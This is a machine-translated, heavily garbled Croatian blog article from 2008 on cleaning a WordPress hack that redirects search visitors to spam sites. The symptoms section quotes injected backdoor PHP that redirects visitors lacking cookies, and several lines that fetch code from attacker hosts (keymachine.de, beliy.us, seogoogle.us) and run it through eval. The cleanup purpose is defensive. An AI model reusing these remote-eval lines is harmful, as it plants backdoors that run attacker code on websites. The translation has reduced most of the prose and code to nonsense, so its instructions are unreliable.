WordPress Pijuk: Oporaviti se pa �kripac Varav lopta pa Pretra�nik ina�e Nijedan Cookie Promet Preusmjeriti za Tvoj-Needs.info, AnyResults.Net, Zlatan-Info.net pa Ostali Ilegalan Polo�aj

Haker biti idu�i potpuno za pijuk pa iskori�tavati WordPress blogs hostel sve do odre�eni �lan tkanje, sa�enje pa injektiranje zloban kod u WordPress kod pa baza podataka namjeran preusmjeriti posetilac pa hits iz Varav lopta pa ostali istraga motor za spam polo�aj takav kao tvoj-needs.info, anyresults.net, zlatan-info.net, keymachine.de, beliy.us, seogoogle.us pa mnogobrojan ostali spam polo�aj taj ispunjen s pla�a- na- kuckati CPC oglasi. Nekakav pijuk pojaviti se za cilj ve�i masa kod preusmjeravanje svi van WordPress cookie. Van bio sjeckan, ovih promet navodno sti�i kod odre�eni �lan blog ace odredi�te.

Simptom nad odre�eni �lan Pretra�nik Preusmjeravanje Pijuk

Nota taj ne svi simptom smjeti dogoditi se ukupno. Onde mo�e biti vi�e nego pojedinac metod nad pila za metal postojanje, �ta pridoneti za razli�it nalaz pa mogu� re�enje.

• Iko kuckati droz iz istraga motor takav kao Varav lopta, Yahoo, AOL, MSN-, Windowsi �iv istraga rezultat, ura�unav�i blog ugled, �e biti preusmjeriti pa otpravljen za haker’ polo�aj takav kao tvoj-needs.info, anyresults.net, zlatan-info.net, keymachine.de, beliy.us, seogoogle.us, s odre�eni �lan foil siguran za rasti. Razglednik sti�i kod odre�eni �lan haker stranica s jednak istraga vrpca taj mu�karac ina�e ona naviknut istraga unutra pretra�nik.
• Kuckati na temelju jedan karika za odre�eni �lan blog na temelju RSS hranjenje �italac takav kao Varav lopta �italac mo�i postojati preusmjeriti za haker polo�aj previ�e.
• JEDAN posetilac bez ra�un na temelju odre�eni �lan blog, ina�e ne Pristup ( stoga ne je cookie otkriven kod zloban kod), �e biti preusmjeriti za spam polo�aj.
• Jedini posjet iz pretra�nik biti bio preusmjeriti daleko, pa odre�eni �lan smicalica rukovati �ime za petljati vjerojatno mnogo bloggers, webmasters pa polo�aj posjedovanje, ina�e barem odga�anje odre�eni �lan spoznaja nad odre�eni �lan problem.
• Iznenadan ogroman pa dramati�an kap pa izgubiti nad masivan koli�ina nad posetilac promet pa stranica pogled unutra tkanje metak sa svijetle�im tragom statistika, specijalno promet s Varav lopta ace odnose, iako pretra�nik rezultat istaknut 3. lice od TO BE u prezentu netaknut.
• Masiv kap nad koji ogla�ava prihod iz Varav lopta AdSense ina�e ostali oglasi mre�a, ina�e pripojiti komisija.
• Slede�e osnova kodiran PHP kod smjeti pojaviti se na temelju odre�eni �lan wp-blog-header.php fascikl:

  <?php \
$serefarraygoogle,msn,live,altavista,ask,yahoo,aol,cnn,weather,alexa=("""""""""""""""""""");
$ser0=; foreachseref($ ace $ sudac) ifstrposstrtolower_SERVER’HTTP_REFERER’,ref((($[])$)!==neistinit){ $ser1=”?;odmor; }
da && sizeof_COOKIE0($)==){ headerLocation(”: HTTP-:/”.base64_decodeYW55cmVzdWx0cy5uZXQ.(”=”)”/”); nestanak; }? >

• Dobro slika, �ta 3. lice od TO BE u prezentu u stvari jedan gomila zloban PHP kod, je dodani za odre�eni �lan wp- Sadr�aj/uploads uputa. Na primjer, wp- Sadr�aj/uploads/2008/06/06/abcdefghijklmn.jpg, ina�e to mo�e biti unutra�njost tvoj tema fascikl, i.e. wp-contents/themes/classic/images/xyz.jpg. Ime nad odre�eni �lan slika mo�e biti unutra odre�eni �lan format nad xxxxxx_old.jpeg.
• Dobro ula�enje je umetnut unutra MySQL baza podataka umjesto WordPress wp_options aktivirati odre�eni �lan slika ( odre�eni �lan zloban PHP kod) ace jedan plow, tipi�no ace rss_f541b3abd05e7962fcab37737f40fad8.
• Onde mo�e biti isto zloban kod, specijalno oni �to tuma� s eval() ina�e base64_decode() naredba bio umetnut u ostali WordPress PHP kartoteka. Primer biti slede�e kod:

  ifisset_GET'p'(($[])) {
$dokoljenka = @fsockopenkm20725.keymachine.de(’’, 80);
ifsock($){
fwrite ($ dokoljenka, ‘ dobiti HTTP-:/km20725.keymachine.de/ pomo�nik/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'.=’$[]’&=’$[]’ HTTP-/1.0.rn′”\\”);
fwrite ($ dokoljenka, ‘ doma�in: km20725.keymachine.de.rnrn’”\\\\”);
whilecontent($[] = fgets ($ dokoljenka));
$zadovoljan = uru�iti(”, $ zadovoljan);
@evaltrimsubstrcontent((($, strposcontent($, “\rnrn\\\”))));
fclose ($ dokoljenka);}
}

  ifisset_GET'p'(($[])) { @eval@file_get_contentshttp((’:/beliy.us/ pomo�nik/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'=’$[]’&=’$[]));
}

  ifisset_GET'p'(($[])) { @eval@file_get_contentshttp((’:/seogoogle.us/ pomo�nik/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'=’$[]’&=’$[]));
}

  evalgzinflatebase64_decode(((

• WordPress tema taj 3. lice od TO BE u prezentu bio aktiviran pa iskori�ten mo�i postojati ubrizgati s hakerstvo kod pa izve�ta�en previ�e. Ovakav kod normalno biti unutra header.php ina�e index.php nad odre�eni �lan tema, pa je jedan lan poput odre�eni �lan pod

  ifser”1″($== && sizeof_COOKIE0($)==){ header”Location(:

Odre�eni �lan WordPress istraga promet preusmjeriti za spam polo�aj pijuk dogoditi se vjerojatno zbog sigurnost rupa pa ranjivost taj nije skrpan na�to blog vlasnik odlu�iti ne za dogradnja za zadnji prikaz nad WordPress ( mada nekakavizve�taj taj njihov blogs bio sjeckan iako svoju’ ve� na temelju odre�eni �lan zadnji prikaz nad WordPress 2.5.1). Ko god odre�eni �lan uzrok, krivoverje’ odre�eni �lan �kripac pa re�enje za odluka pa poraz odre�eni �lan pijuk za osigurati taj te vratiti milo za drago odre�eni �lan promet pa izbe�i bio ka�njen kod Varav lopta kod nerazuman preusmjeravanje za spam Stranice.

1. Rezerva odre�eni �lan WordPress baza podataka.
2. Korist phpMyAdmin za listati WordPress MySQL baza podataka tablica. Samo naprijed wp_options sto, i tada ure�ivati odre�eni �lan red imenovan active_plugins. Odre�eni �lan red detalj svi aktivan plow taj je bila aktiviran. Pro�i odre�eni �lan foil ( stalan), pa tra�iti dobro jedan plow imenovan kraj s dobro slika produ�etak, takav kao .jpg, .jpeg, .gif pa itd.. Na primjer, abcdefgh_old.jpeg. Zabilje�iti odre�eni �lan staza za odre�eni �lan slika fascikl.
3. Pomo�u sFTP ina�e SSH ( zaboraviti okolo FTP- ina�e Telnet umjesto sigurnost), onda ploviti za odre�eni �lan staza nad odre�eni �lan fascikl, pa izbrisati odre�eni �lan fascikl.
4. Samo naprijed WordPress Upravnik Plow plo�a, prestati ina�e aktivirati iko plow za maknuti odre�eni �lan zloban plow iz odre�eni �lan “active_plugins” red.
5. Le�a za phpMyAdmin, kod odre�eni �lan wp_options sto, na�i jedan red taj sadr�ati slede�e vrpca ace option_name:

   rss_f541b3abd05e7962fcab37737f40fad8

   Izbrisati odre�eni �lan odveslati.

   Da te dont’ knotkle kako za izvoditi odre�eni �lan baza podataka �i��enje detaljan unutra skaline iznad, krivoverje’ jedan video ud�benik:

6. Samo naprijed wp_users sto. Da onde 3. lice od TO BE u prezentu jedan bezimen korisnik ( nula vrednost unutra user_nicename polje) stvoren kod 000000:: na temelju 0000-00-00, zabilje�iti odre�eni �lan korisnik ID- ( ID- polje, nekoliko). Izbrisati odre�eni �lan korisnik.
7. Listati odre�eni �lan wp_usermeta sto. Smestiti svi rows s korisnik �ibice odre�eni �lan ID- nad odre�eni �lan izbrisati ilegalan korisnik. Onde biti normalno tri rows bio povezan za odre�eni �lan upada� korisnik ID-. Izbrisati svi odre�eni �lan povezan rows.
8. Pristup za odre�eni �lan pomo�nik za ure�ivati odre�eni �lan tema kartoteka, ina�e listati odre�eni �lan tema kartoteka’ kod unutra Tema Editor nad WordPress Upravnik Nacrt plo�a. Provjeriti odre�eni �lan header.php pa index.php umjesto iko sumnji�av kod. Ace navedenim iznad, tra�iti ne�to poput borac pod:

   ifser”1″($== && sizeof_COOKIE0($)==){ header”Location(:

   Da osnivati, izbrisati pa preme�tanje odre�eni �lan kod. Nota taj odre�eni �lan zloban kod �e biti nekoliko obrana dug sve ukupno.

9. Da svoju’ ne ve� postojanje, stvoriti dobro prazan index.html fascikl unutra odre�eni �lan wp- Sadr�aj/ plow uputa. Odre�eni �lan prazan index.html ko�a odre�eni �lan Sadr�aj nad odre�eni �lan plow uputa, delotvorno �tit �ta plow-ins bio iskori�ten iz haker za o�eli�iti pa pritegnuti odre�eni �lan WordPress sigurnost.
10. Upload pa opet staviti bez razlike svaki WordPress kartoteka ( ne jedini wp-blog-header.php) na temelju odre�eni �lan pomo�nik s odre�eni �lan svje�, �ist, pa izvornizadnji prikaz iz WordPress (naravno, izuzeti malo kartoteka takav kao wp-config.php pa tema). Da tvoj’ pobolj�avaju�i, �itanje odre�eni �lanvodi� oprezno.
11. Promena tvoj lozinka.
12. Da te imati mnogostruk korisnik, promena njihov lozinka ( ina�e pitati njima za presvu�i lozinka) previ�e.

va�an: Dana�ji 3. lice od TO BE u prezentu jedan ma�ina prevedeno stranica �ta 3. lice od TO BE u prezentu snabdeven " ace 3. lice od TO BE u prezentu" van jamstvo. Ma�ina prevod mo�e biti te�ak za shvatiti. Ugoditi odnositi naizvorni Engleski jezik �lanak ma kada mogu�.

Udeo pa pridoneti ina�e dobiti tehni�ki podr�ka pa pomo� kodMoj Digitalan �ivot Forum.

Odnosi �lanak

• Dodati NoFollow Srodstvo za WordPress Blogroll za Porast Paginator
• WordPress Plow: Pokazati Varav lopta Analitika pa FeedBurner Izve�taj Statistika iz Polo�aj Administracijski
• Technorati Dolazak Igrali�te za golf Plow umjesto WordPress
• JEDAN Letimice pogledati Varav lopta Trgovac Istraga
• Kako za Izbe�i, Zaobi�i ina�e Be�ati Varav lopta Pokriti vre�ama pijeska
• SEO Prijatan Prepisati Metod za Pokret Website URL Iz Pod-direktorij za Koren Roditelj Fascikl
• Voziti Briny Promet kod Pomo�u Imagesave
• Ask.com Pretra�nik Test kod CNNMoney
• Slo�en od dijelova pa Pokazati Varav lopta AdSense umjesto Istraga pa D.d.-Op Obi�aj Pretra�nik Rezultat unutra WordPress Blog Stranica �ablona
• StatTraq Wordpress Plow umjesto Polo�aj Statistika pa Promet Brojilac

Dana�ji ula�enje je ogla�en u utorak, Juni deseti, 2008 kod 103: sam pa 3. lice od TO BE u prezentu podastrt ispodMre�ast. Te mo�i slediti iko odgovor za dana�ji ula�enje droz odre�eni �lanRSS 2.0 hranjenje Te mo�idopust jedan odgovor,ina�e kugla za pra�enje iz tvoj vlastiti polo�aj.